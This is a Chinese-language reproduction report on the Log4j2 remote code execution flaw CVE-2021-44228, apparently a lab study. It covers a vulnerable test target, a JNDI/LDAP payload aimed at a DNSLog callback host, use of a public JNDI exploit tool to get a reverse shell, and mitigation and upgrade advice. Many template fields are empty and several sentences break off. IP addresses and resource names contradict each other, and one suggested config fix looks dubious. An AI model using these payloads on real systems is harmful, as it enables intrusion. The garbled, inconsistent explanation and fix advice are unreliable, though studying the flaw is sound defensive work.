漏洞恢复报告:CVE-2021-44228 Log4j2 远程代码执行漏洞
Log4j2远程代码执行漏洞研究报告
一、漏洞信息搜集
1.1 漏洞信息表
漏洞名称 |
Log4j2远程代码执行漏洞 |
发布时间 |
2021年12月10日 |
漏洞编号 |
CVE-2021-44228 |
威胁类型 |
远程代码执行 |
危害级别 |
高危 |
影响版本 |
Apache Log4j2 2.0 - 2.15.0-rc1 |
漏洞描述 |
产品介绍:Apache Log4j是一个Java日志框架,用于在应用程序中生成日志消息。它是Apache软件基金会的一个开源项目,提供了一个灵活且可配置的日志记录解决方案。 Log4j的主要目标是帮助开发人员记录和管理应用程序中的关键信息。通过在代码中插入适当的日志语句,开发人员可以捕捉程序运行时的各种事件和状态信息。这些日志消息可以用于调试、故障排除、性能分析以及记录重要的业务操作。 漏洞概述:这是一个Apache Log4j 2.x的远程代码执行漏洞,这个漏洞已经被广泛利用,因为Log4j是一个常用的Java日志记录库,很多应用程序都使用它来记录日志。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。 危害说明:攻击者可以通过构造恶意的请求,向受影响的服务器发送特殊的数据包,从而导致服务器执行远程代码。 |
漏洞指纹 |
常用端口/协议:不基于端口或协议 请求参数/关键路径(漏洞入口): |
漏洞验证与利用 |
POC: EXP: 集成工具: |
修复建议 |
正式修复方案: 临时修复方案: |
参考链接 |
文章标题:链接 |
二、漏洞快速验证
2.1 漏洞靶机搭建
Log4j2 2.14.1
CC 3.2.1
方法一:直接加载漏洞环境(推荐)
在线靶场:vulfocus(http://vulfocus.io/#/dashboard)
在vulfocus靶场中找到Apache Log4j2远程命令执行(CVE-2021-44228)并启动
方法二:
1.安装docker和docker-compose
sudo apt-get install docker
sudo apt-get install python3-pip
pip3 install docker-compose
2.2 POC漏洞验证
通过DNSLog平台(http://www.dnslog.cn/)获取到域名,构造payload ,游览器点击?????使用Burp进行抓包,并且抓包替换payload参数
替换payload为${jndi:ldap://king.2f8db4e5.dns.1433.eu.org/exp}并发包
也可以使用Burp自带的URL编码进行编码,然后再次发包
三、漏洞利用实践
EXP 1:
JNDI注入反弹shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用:
下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
执行EXP,生成可用的payload
码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址
漏洞修复实践
4.1 修复方案1:临时修复方案
1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。
2.设置log4j2.formatMsgNoLookups=True。
3.采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。
4.禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。
4.2 修复方案2:标准解决方案
Apache官方发布新版本对漏洞修复
https://link.zhihu.com/?target=https%3A//github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
(详细说明工程化的应用环境条件、具体过程以及注意事项等)
代码解析
(针对工程化程序的总体架构进行讲解,并对关键功能模块进行解析等。)
五、漏洞原理分析
漏洞原理分析
apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)
日志在打印时当遇到
由于log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过rmi等等。目前看到使用最多的主要是使用ldap来构造payload:
${jndi:ldap://ip/port/exp}
最终效果就是通过
整个利用流程分两步:
第一步:向目标发送指定
第二步:目标服务器收到重定向请求之后,下载恶意
关于利用LDAP服务来进行注入攻击已经不是第一次了,JNDI注入,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执行。Fastjson RCE漏洞的利用也用到LDAP注入攻击,还有其他的一些。
漏洞修复分析
当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
攻击者就可以通过shell实现任意的命令执行,造成严重危害
修复这个漏洞的推荐方法是升级到Log4j2版本2.17.0或更高版本。以下几个补丁方案:
将log4j-core库文件(log4j-core-2.14.1.jar)替换为修复了漏洞的版本。可以从Apache Log4j官方网站下载最新的修复版本。
移除log4j-core库文件,如果应用程序不需要此库文件的其他功能。这可以通过删除类路径中的相关Jar文件来实现。注意,这可能会影响应用程序的日志功能,因此在执行此操作前应进行测试。
在应用程序的配置文件中添加如下代码来阻止利用该漏洞的特定JNDI功能调用:
<ContextJndiFilter exclude=".*"/>
这些补丁方案可以帮助减轻漏洞的风险,最好还是尽快升级到修复了漏洞的版本,以确保系统的安全性。
推荐阅读
-
CVE-2020-0674:Internet Explorer 远程代码执行漏洞通知
-
CVE-2023-3519:Citrix ADC/Gateway 远程代码执行漏洞通告
-
pgadmin4 远程代码执行漏洞复发 (CVE-2022-4223) - 漏洞分析
-
log4j2 远程命令执行漏洞利用态势摘要
-
关于 log4j2 远程代码执行漏洞的详细重现过程
-
Apache Log4j2 远程代码执行漏洞学习
-
Apache Log4j2 远程代码执行漏洞 - 故障排除和修复建议
-
如何看待 Apache Log4j 2 远程代码执行漏洞?免费动手带你重现它!
-
关于 Apache log4j2 远程代码执行漏洞 (CVE-2021-44228) 的文章
-
修复 Apache Log4j2 远程代码执行漏洞的步骤